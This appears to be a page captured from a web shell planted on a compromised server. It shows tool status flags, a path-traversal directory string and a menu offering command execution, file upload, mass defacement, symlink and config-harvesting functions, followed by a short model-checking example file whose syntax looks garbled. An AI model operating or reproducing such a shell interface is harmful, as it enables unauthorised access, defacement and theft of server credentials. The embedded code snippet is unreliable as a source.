|
OFF | cURL : OFF | WGET : ON | Perl : ON | Python : OFF Directory (0755) : /usr/share/systemd/../doc/unzip/../command-not-found/../libqmi-proxy/../maria/examples/ |
| Home | ☍ Command | ☍ Upload File | ☍Info Server | ☍ Buat File | ☍ Mass deface | ☍ Jumping | ☍ Config | ☍ Symlink | ☍ About |
|---|
typedef enum { a,b,c } enum_t;
place p enum_t: enum_t e: e;
trans f { enum_t d = enum_t g! (g != c); }
in { place p: enum_t e : e; }
out { place p: is unsigned d#d; };